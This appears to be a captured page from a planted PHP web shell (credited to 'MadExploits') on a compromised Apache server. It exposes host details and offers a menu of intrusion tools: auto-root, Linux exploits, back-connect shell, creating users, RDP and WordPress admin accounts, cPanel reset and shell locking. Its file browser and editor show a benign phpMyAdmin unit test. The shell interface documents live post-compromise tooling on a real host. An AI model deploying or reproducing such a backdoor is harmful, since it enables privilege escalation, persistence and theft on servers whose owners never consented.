Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Config /
[ HOME SHELL ]
Name
Size
Permission
Action
Forms
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
ConfigFileTest.php
14.23
KB
-rw-r--r--
DescriptionTest.php
3.72
KB
-rw-r--r--
FormDisplayTemplateTest.php
7.73
KB
-rw-r--r--
FormDisplayTest.php
11.16
KB
-rw-r--r--
FormTest.php
6.12
KB
-rw-r--r--
PageSettingsTest.php
3.29
KB
-rw-r--r--
ServerConfigChecksTest.php
6.77
KB
-rw-r--r--
SettingsTest.php
69.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DescriptionTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Config; use PhpMyAdmin\Config\Descriptions; use PhpMyAdmin\Config\Settings; use PhpMyAdmin\Tests\AbstractTestCase; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; use PHPUnit\Framework\Attributes\PreserveGlobalState; use PHPUnit\Framework\Attributes\RunTestsInSeparateProcesses; use function array_keys; use function in_array; #[CoversClass(Descriptions::class)] #[PreserveGlobalState(false)] #[RunTestsInSeparateProcesses] class DescriptionTest extends AbstractTestCase { protected function setUp(): void { parent::setUp(); $this->setGlobalConfig(); } /** * @param string $item item * @param string $type type * @param string $expected expected result */ #[DataProvider('getValues')] public function testGet(string $item, string $type, string $expected): void { self::assertSame($expected, Descriptions::get($item, $type)); } /** * @return array<string, string[]> * @psalm-return array<string, array{non-empty-string, 'name'|'desc'|'cmt', string}> */ public static function getValues(): array { return [ 'valid name' => ['AllowArbitraryServer', 'name', 'Allow login to any MySQL server'], 'valid description' => [ 'AllowArbitraryServer', 'desc', 'If enabled, user can enter any MySQL server in login form for cookie auth.', ], 'valid comment' => ['MaxDbList', 'cmt', 'Users cannot set a higher value'], 'invalid name' => ['UnknownSetting', 'name', 'UnknownSetting'], 'invalid description' => ['UnknownSetting', 'desc', ''], 'invalid comment' => ['UnknownSetting', 'cmt', ''], 'server number' => ['Servers/1/DisableIS', 'name', 'Disable use of INFORMATION_SCHEMA'], 'composed name' => ['Import/format', 'name', 'Format of imported file'], 'bb code' => [ 'NavigationLogoLinkWindow', 'desc', 'Open the linked page in the main window (<code>main</code>) or in a new one (<code>new</code>).', ], ]; } /** * Assertion for getting description key * * @param string $key key */ public function assertGet(string $key): void { self::assertNotNull(Descriptions::get($key, 'name')); self::assertNotNull(Descriptions::get($key, 'desc')); self::assertNotNull(Descriptions::get($key, 'cmt')); } /** * Test getting all names for configurations */ public function testAll(): void { $nested = ['Export', 'Import', 'Schema', 'DBG', 'DefaultTransformations', 'SQLQuery']; $settings = new Settings([]); $cfg = $settings->asArray(); foreach ($cfg as $key => $value) { $this->assertGet($key); if ($key === 'Servers') { self::assertIsArray($value); self::assertIsArray($value[1]); foreach ($value[1] as $item => $val) { $this->assertGet($key . '/1/' . $item); if ($item !== 'AllowDeny') { continue; } foreach ($val as $second => $val2) { self::assertNotNull($val2); $this->assertGet($key . '/1/' . $item . '/' . $second); } } } elseif (in_array($key, $nested)) { self::assertIsArray($value); foreach (array_keys($value) as $item) { $this->assertGet($key . '/' . $item); } } } } }
Close